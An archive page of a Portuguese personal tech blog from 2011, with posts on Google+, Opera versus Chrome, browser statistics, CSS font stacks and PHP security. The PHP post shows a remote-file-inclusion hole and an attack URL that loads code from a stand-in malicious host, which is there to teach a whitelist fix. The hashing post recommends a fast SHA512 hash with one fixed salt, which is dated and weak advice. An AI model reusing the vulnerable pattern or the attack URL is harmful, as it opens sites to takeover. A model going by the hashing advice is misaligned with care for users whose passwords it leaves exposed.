A visualizar apenas posts colocados no ano de 2011

O Google+ (ou Plus), a rede social do Google passou a ter jogos incorporados. Títulos como Angry Birds, Bejeweled ou Bubble Island já se encontram disponíveis para jogar.

Google Plus com Angry Birds

Alguns utilizadores do Google+ tinham receio que a associação de jogos à rede fosse “infantilizar” a mesma, tornando-a no Facebook. Eu próprio tinha este receio, mas felizmente a integração foi efectuada de uma forma bastante inteligente ao colocar os jogos numa secção à parte, assim como todas as mensagens relacionadas com o mesmo.

Não vão encontrar no vosso Stream ninguém a dizer que bateu um recorde no Angry Birds, esta informação fica contida à secção de jogos no Games Stream. Assim que não tiver interesse em jogos não é incomodado.

Os jogos encontram-se integrados de forma razoável na rede. No caso do Angry Birds dependendo do número de amigos a jogar e do número de estrelas que obtém, podemos ter acesso a níveis adicionais na área de Teamwork. Os restantes jogos que experimentei não têm mais nenhum tipo de integração, apenas permitindo partilhar e comparar os resultados entre amigos.

Vamos esperar para ver que novos jogos vão ser desenvolvidos e se o Angry Birds vai ter novos níveis específicos para o Google+.

O Google+ (ou Plus) é a nova rede social do Google. Ao contrário do Buzz que teve poucos utilizadores, o Google+ está bem integrado em todos os produtos do Google e tem tudo a seu favor para ser um sucesso.

Google Plus

Existem boas ideias vindas do Google, mas a sua execução nem sempre é a melhor. O Google Wave é um exemplo do que o email deveria ser actualmente, mas em vez de ser um produto à parte deveria estar integrado no GMail. Assim acabou por falhar.

Com o Google+ este erro foi ultrapassado e o serviço está devidamente integrado em todas as aplicações do Google. Mas o que afinal trás a mais o Google+ em relação a outras redes sociais?

Tem um aspecto sóbrio e profissional como o LinkedIn, permite que qualquer pessoa nos siga sem a nossa permissão como o Twitter mas permite que o nosso conteúdo seja partilhado apenas com quem queremos através de círculos.

O que me levou a aderir ao Google+ foi mesmo isso. Se eu quiser partilhar algo a nível público, como este post, posso-o fazer e toda a gente consegue ver este conteúdo. Se eu quiser partilhar umas fotos de uma viagem que fiz com um grupo de amigos posso partilhar apenas com o círculo que contém aqueles amigos e mais ninguém irá ver aquele conteúdo.

Por exemplo, se visitarem o meu perfil do Google+ apenas vão ver alguns posts que coloquei noutro blog, mas se o vosso perfil estiver no meu círculo de amigos já têm acesso às fotos da viagem. Isto faz sentido porque eu não quero partilhar com toda a gente conteúdo que possa ser pessoal ou de interesse apenas a um número de pessoas limitado.

É certo que no Facebook agora também se pode fazer o mesmo, mas não de uma forma tão simples e intuitiva como no Google+. O Google+ foi desenvolvido com este tipo de privacidade em mente, o Facebook foi desenvolvido a pensar numa partilha universal.

E se acham que o Google+ tem pouco movimento, não se esqueçam que “apenas” tem 20 milhões de utilizadores. E escrevo apenas entre-aspas porque para 3 semanas e só por convite não é nada mau. Também pode acontecer simplesmente estarem num círculo à parte em que ninguém partilha nada com vocês :lol:

O Opera é o meu browser. Uso-o para quase tudo no entanto passei a sugerir a outras pessoas que experimentem antes o Google Chrome.

“Blasfémia” gritam vocês, mas passo a explicar as minhas razões.

Opera vs Chrome

O Chrome está para o Opera como o Mac está para o PC. É utilizado por quem quer ter uma boa experiência mas não tem conhecimentos técnicos suficientes para tirar partido de uma aplicação. Sim, um Mac é uma versão dumbed down dum PC com uns ícones engraçados.

Mas esta comparação talvez não seja correcta. É que o Chrome é gratuito, deixa instalar as extensões que quiserem e não vos conota como um hipster kitty :lol:

Por ser simples de usar, seguro, garantir uma experiência a 100% em todos os sites e actualizar-se de forma simples e sem chatear o utilizador passou a ser o browser de eleição para quem quer navegar na web mas não tem conhecimentos técnicos.

O Chrome é no entanto o culpado de eu gostar cada vez menos do Opera, simplesmente porque o Opera está a tornar-se no Chrome. É verdade que o facto de alguns talentos do Opera estarem agora a trabalhar para o Google ajuda, mas não é razão para andar a copiar os outros.

O Opera sempre foi o browser inovador, as famosas tabs começaram no Opera, a sincronização de dados (favoritos, notas, etc) começaram no Opera e o fantástico Speed Dial apareceu no Opera e ainda ninguém conseguiu fazer melhor.

Existem vários browsers que aplicaram estas ideias nos seus produtos e o Opera foi continuando a inovar noutros campos. Apesar de tudo a percentagem de utilizadores do Opera sempre foi baixa.

O problema começou com as recentes alterações no interface. E se as coisas estavam a correr maravilhosamente até à versão 11.11, com a versão 11.50 estragaram tudo e agora não se percebe se o Opera tenta copiar o Chrome ou se está a fugir do Firefox.

O futuro do Opera

Com o Chrome a conquistar cada vez mais mercado e com vários produtos do Google a ignorarem a presença deste browser não vejo um grande futuro para o Opera, ficando com apenas 3% dos utilizadores. O problema é que o Opera perdeu a sua alma e desde Abril que tem vindo a perder utilizadores para o Chrome.

A adição de extensões, widgets e do Opera Unite apenas vêm complicar ainda mais esta situação. O Opera Unite não teve grande adesão, as extensões e os widgets sobrepõem-se entre si (faz lembrar o Joomla com os módulos e plug-ins) e o browser acaba por perder o seu rumo como um produto inovador.

Porque vou continuar a usar o Opera

O Opera vai continuar a ser o meu browser de eleição. O Speed Dial, o Wand e a sincronização com o Opera Link são fantásticos e nenhuma extensão para o Chrome consegue lá chegar perto. Em termos de desenvolvimento também continua a ser o ideal por respeitar à risca as recomendações da W3C tornando o meu trabalho mais simples.

Para o utilizador comum o Chrome é a escolha ideal (esqueçam o Firefox e o Internet Explorer), mas para o power user o Opera continua a ser uma boa alternativa.

Os hábitos de navegação dos portugueses mudaram pouco no segundo trimestre deste ano. As grandes novidades são mesmo os upgrades das versões dos mesmos produtos como a passagem do Windows XP para o Windows 7.

Estatísticas

 

Browsers
Browsers

Nos browsers existiram poucas alterações, continuando o Internet Explorer com mais de 50% do mercado e a perder alguns utilizadores para o Google Chrome.

No Opera, Chrome e Firefox as versões com mais utilizadores são sempre as últimas, fruto das actualizações automáticas destes browsers que garantem assim uma melhor experiência na Web. Os developers agradecem.

No Internet Explorer, a versão 8 continua a ser a mais usada com 65% do total de utilizadores deste browser. No entanto a versão 9 com suporte a algumas características de HTML5 e CSS3 já conta com mais utilizadores que o total da versão 6 e 7.

Sistemas Operativos
Sistemas Operativos

Nos sistemas operativos o Windows continua a dominar. A grande novidade é que a versão 7 do Windows está apenas a 1 ponto percentual do XP. Possivelmente no próximo trimestre esta já será a versão do Windows mais utilizada o que irá ajudar a massificar a utilização do Internet Explorer 9.

Resoluções
Resoluções

Nas resoluções não existem diferenças notórias, com a resolução 1024×768 a perder utilizadores lentamente.

Na maioria dos websites o que mais salta à vista é a fonte utilizada para o seu conteúdo. Uma boa fonte pode ser a diferença entre cativar um leitor ou perder uma visita porque torna o nosso conteúdo desinteressante.

Mas será que utilizamos as nossas fontes correctamente?

Pangrama de tipografia

Existe um conjunto de fontes ou tipos de letra que são considerados seguros para utilizar na Web. Fontes como o Verdana, Tahoma e Arial podem ser usados com confiança pelos developers.

No entanto vamos desenvolver o nosso website e vamos usar aquela fonte bem gira que temos no nosso PC mas quando visualizamos o site noutro computador nada aparece de forma correcta. Temos duas opções, ou embebemos a fonte ou fornecemos uma alternativa.

Fontes embebidas – @font-face

Com o CSS3 finalmente vai passar a ser possível embeber fontes de uma forma funcional a todos os browsers. O Internet Explorer 5 já permitia isto, mas com código especifico da Microsoft como é hábito.

Desde que a fonte permita ser embebida podemos usar a mesma no nosso site. Um bom local para obter este tipo de fontes é o Google Web Fonts.

Esta é uma forma de garantir que o nosso design em termos tipográficos é semelhante em todas as máquinas, tenham o tipo de letra ou não. O problema é que em certas fontes isto implica descarregar até 200KB de informação e isto não faz sentido para um site generalista, talvez para um portfolio ou mesmo um blog pessoal como este.

Fontes alternativas – CSS Font Stacks

Um font stack é uma lista de fontes que são utilizadas caso o computador de quem nos visita não tenha a fonte inicial que definimos. Um exemplo definido pelo Dreamweaver:

1
div { font-family: Verdana, Geneva, sans-serif }

Se o utilizador não tiver a fonte Verdana instalada irá visualizar o site com a fonte Geneva. Se também não tiver esta fonte o conteúdo é apresentado pela fonte padrão do sistema operativo do tipo sans-serif.

Mas para definirmos fontes alternativas temos que saber que outro tipo de fontes semelhantes existem. O site Typetester é uma óptima ferramenta para esta função, colocando 3 blocos de texto lado a lado permitindo assim escolher várias fontes e comparar o tamanho e aspecto ocupado por cada uma.

Já sabemos as fontes semelhantes, mas será que elas estão disponíveis em todos os sistemas? Mais de 92% dos utilizadores na web usam Windows, o que facilita o trabalho, mas não nos podemos esquecer dos restantes 8%. E é necessário ter em conta que diferentes sites têm diferentes públicos e um site dedicado a Mac ou Linux certamente terá mais visitas destes sistemas operativos.

E aqui entra outra ferramenta, ou melhor um conjunto delas fornecido pelo site Code Style. Aqui podem submeter as fontes que têm instaladas para estatística, visualizar a disponibilidade das fontes em vários sistemas operativos e até criar font stacks com a indicação da percentagem de utilizadores com aquela fonte disponível.

Com estas duas ferramentas podemos por exemplo criar a alternativa ao código anterior fornecido pelo Dreamweaver com o seguinte:

1
div { font-family: Verdana, Geneva, "Lucida Sans", "DejaVu Sans", sans-serif }

O Verdana será visualizado por 99% dos utilizadores com Windows e Mac e por 70% dos utilizadores com Linux. O Geneva será visualizado por uma minoria com Mac e as fontes Lucida Sans e DejaVu Sans serão utilizadas pelos restantes 30% dos utilizadores em Linux.

Fontes e dispositivos móveis

Para dispositivos móveis a história é outra. No caso do Android navega-se com Droid Sans e mesmo o Opera Mini limita o tipo de fontes utilizado. Aqui as fontes são optimizadas para pequenos ecrãs e embora o resultado a nível estético não seja o melhor o texto fica legível de uma forma agradável.

Os programadores de PHP têm má fama pelos erros que fizeram no passado. Até eu já programei de forma incorrecta. Mas o PHP 4 está morto e enterrado e o PHP 5.2 já lá vai.

Está na altura de mudarmos os nossos métodos e programarmos PHP com segurança em mente.

Segurança em PHP

Já partilhei anteriormente umas dicas para tornar o nosso código devidamente formatado a pensar no futuro, agora partilho algumas dicas de segurança.

Com a quantidade de código que me passa pelas mãos e pelo contacto com alguns “programadores” o que percebo é que a segurança é da responsabilidade do servidor e nunca do programador. Uma firewall serve para bloquear IP’s e portas e o Mod Security é uma solução de último recurso e não deve ser utilizada como método de protecção.

O servidor onde possuem o vosso código é vosso? Têm controle sobre a sua configuração ou estão dependentes de um ISP num alojamento partilhado?

Quem programa à espera que um servidor seja seguro facilmente é atacado, especialmente quando não têm conhecimento das configurações e alterações efectuadas.

Exemplo de injecção de código

Ora, vamos supor que eu tenho um site com o seguinte código:

1
2
3
<?php
  include $_GET['pagina'] . '.php';
?>

Tudo muito inocente. Se eu aceder a site.com/index.php?pagina=contacto vou incluir o ficheiro contacto.php. Mas se o servidor onde me encontro tiver a opção allow_url_fopen activa isto é uma porta aberta a ataques.

Basta aceder a site.com/index.php?pagina=http://www.sitemalicioso.com/hack.php? e o vosso site está agora a correr o meu código e eu fiquei com acesso ao servidor.

Podem dizer que o allow_url_fopen é perigoso e devia ser desactivado, mas falham completamente o ponto. O código não é seguro.

A solução passa por criar uma whitelist com os nomes dos ficheiros que permitimos que sejam incluídos (por exemplo num Array ou numa base de dados) e uma verificação através de um RegEx que apenas permita caracteres alfanuméricos. Podemos até usar um simples switch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
  // Definimos a página inicial
  $pagina = 'homepage';
    
  // Se existir um pedido $_GET['pagina'] verificamos a whitelist
  if ( isset($_GET['pagina']) ) {

    switch ($_GET['pagina']) {
      case 'contacto':
        $pagina = 'contacto';
        break;
      case 'quemsomos':
        $pagina = 'quemsomos';
        break;
    }
        
  }
    
  // Inclui o ficheiro
  include $pagina . '.php';
?>

Tudo o que é indicado pelo utilizador é perigoso

Todo o conteúdo submetido ao nosso script através de GET ou POST é e deve ser considerado perigoso. De boas intenções está o mundo cheio, já diz o provérbio, e com os utilizadores de um site aplica-se a mesma coisa.

Os ataques de injecção ao MySQL existem por isso mesmo, excesso de confiança. Lá apareceram funções para servirem como soluções rápidas, mas os programadores preguiçosos usaram isto como solução definitiva e deixam a segurança nas mãos de terceiros. Um bom exemplo é a opção magic_quotes que quando desactivada deixa um script aberto a injecções porque está mal programado.

Felizmente apareceu o mysql_real_escape_string que veio facilitar a vida a quem não sabe usar um addslashes e com o PDO então é uma maravilha fazer a validação de campos de forma rápida e eficiente.

Se controlamos tudo o que pode ser alterado pelo utilizador (inclusive links) é meio caminho andado para manter a nossa aplicação segura contra ataques comuns e worms ou trojans que se mantêm activos pela web à procura destas falhas.

Manter o nosso código seguro

Sempre que estamos a programar devemos perguntar a nós próprios: Um utilizador consegue alterar os dados aqui presentes? Será que este método é seguro?

E se vamos usar uma nova funcionalidade devemos procurar se existem possíveis falhas de segurança que possam advir da sua má utilização, os chamados pitfalls.

Não devemos também colocar uma solução online sem a tentar atacar primeiro. Como é que eu sei que um método de segurança funciona se não o tento ultrapassar?

E não pensem que isto serve apenas para utilizadores avançados porque não têm conhecimentos sobre este tema. Uma rápida pesquisa pelo Google vai encontrar milhões de exemplos de código seguro e funções para evitar ataques ao vosso código. Basta copiar alguns exemplos, testar localmente e adaptar às vossas necessidades e mesmo o manual do PHP vai ajudar nestas situações.

Ultimamente tem-se falado muito nos ataques a bases de dados e na divulgação de dados pessoais. Nenhuma aplicação é imune, mas será que pelo menos dificultam a vida aos hackers quando ficam com a vossa base de dados?

Segurança

Tem-me passado muito código pelas mãos que está mal executado, mas o que realmente me faz confusão são as palavra-passe em texto (plain-text) guardadas numa base de dados.

É engraçado abrir o phpMyAdmin e ver que a palavra-passe do admin é password123 em vez de 482c811da5d5b4bc6d497ffa98491e38 por exemplo.

E nós como utilizadores conseguimos saber se uma palavra-passe está a ser guardada localmente, basta fazer a recuperação de password e consultar se o texto devolvido é o mesmo que colocamos anteriormente.

Encriptação

Quando guardamos uma palavra-passe numa base de dados nunca guardamos a palavra-passe em si mas uma hash que corresponde à palavra-passe. Mas depois não sei a pass ou tenho que a decriptar pensam vocês. Nada disto é necessário.

Quando um utilizador se autentica no vosso website o que fazemos é encriptar o texto que o utilizador colocou e comparar a hash resultante com a hash que temos na nossa base de dados. Devemos usar uma hash que apenas permita a encriptação como o SHA512 ou o Whirlpool. O MD5 e o SHA1 não são aconselhados por serem rápidos a criar a hash, um computador pode resolver uma password com 6 caracteres numa questão de horas. Ao contrário de tudo o resto, ao criar uma hash quanto mais lento, melhor!

Desta forma se o vosso website for atacado e base de dados for obtida por um hacker ele apenas vai ter acesso a um monte de hash’s, mas isso não quer dizer que o nosso conteúdo esteja protegido.

Rainbow Tables e Salt

Existem listas, chamadas Rainbow Tables, de hash’s encriptadas que permitem efectuar uma pesquisa pela hash e obter o valor a que corresponde. Se numa Rainbow Table procurarmos por 482c811da5d5b4bc6d497ffa98491e38 possivelmente vamos obter o resultado password123.

Estas tabelas usam principalmente palavras comuns, disponíveis no dicionário e se não obrigamos os nossos utilizadores a colocar palavras-passe complexas estamos em risco. A maneira de resolver esta situação é aplicar Salt (Sal, literalmente).

Os utilizadores são preguiçosos e não ligam a segurança. Uma password para eles deve ser simples. É má prática, mas se não fazemos nada contra isso podemos criar mecanismos de protecção. Um deles, na encriptação de palavras-passe é a utilização de Salt.

Vamos supor que o utilizador tem password123 definida mas em vez de encriptarmos este valor adicionamos Salt ao inicio da password e encriptamos a password como fe#S7password123. A nossa hash vai ser totalmente diferente e uma Rainbow Table muito dificilmente terá este valor. O nosso Salt é então fe#S7 e devemos usar o mesmo quando o utilizador fizer a sua autenticação.

Espero que não seja necessário dizer isto, mas o Salt deve sempre ser guardado server-side, não coloquem o Salt num input de um formulário. Mas de qualquer forma aqui fica um exemplo:

1
2
3
4
5
<?php
  define( 'SALT', 'fe#S7' );
  $password = 'password123';
  $hash = hash( 'sha512', SALT . $password );
?>

O Salt está pré-definido no servidor, a variável $password é fornecida pelo utilizador e no final encriptamos ambos os valores para obter uma hash com Salt.

Isto já é consideravelmente seguro, mas podemos fazer melhor. No meu exemplo estou a usar um Salt pequeno, este deve ser maior. Podemos também aplicar mais Salt no meio de uma password ou no final para a tornar mais complexa. Também podemos alterar a hash retornada e aplicar também Salt nesse valor. Mas esta opção já é complexa e necessita de valores aleatórios para cada password, caso contrário ao olharmos para 5 hash’s facilmente verificamos qual é o Salt utilizado.

Encriptação online de palavras-chave

Fujam a sete pés de sites que criam hash’s online. Nem todos são maliciosos mas muitos usam os valores colocados pelos utilizadores para popular Rainbow Tables, criando um precedente para que a vossa palavra-passe seja insegura no caso de um ataque a um site onde estejam registados e seja usada a encriptação sem Salt.

Se querem testar hash’s devem sempre criar o vosso script e não ficar dependente de serviços de terceiros pois nunca sabemos o que é efectuado com os nossos dados.

Programar com segurança em mente

Espero que esta entrada no blog vos faça repensar como programam e guardam os dados dos utilizadores em base de dados.

Se programam mal e são atacados o problema é vosso, mas se dados de terceiros são perdidos por falta de atenção a estes detalhes então já estamos a por em causa a segurança dos outros.

Nota:
Foi usado como exemplo uma hash gerada em MD5 (482c811da5d5b4bc6d497ffa98491e38), apesar de advertir contra o uso deste algoritmo para encriptação de passwords. Este foi usado por gerar uma hash mais pequena que SHA512 (32 contra 128 caracteres), tornando a leitura do artigo mais amigável.
 
Copyright © 1985 - 2017 Eduardo Maio. Alguns direitos reservados.
eduardomaio.net - Às vezes mais valia ser Agricultor do que Programador
Ao navegar no blog eduardomaio.net está a concordar com os termos legais e de privacidade.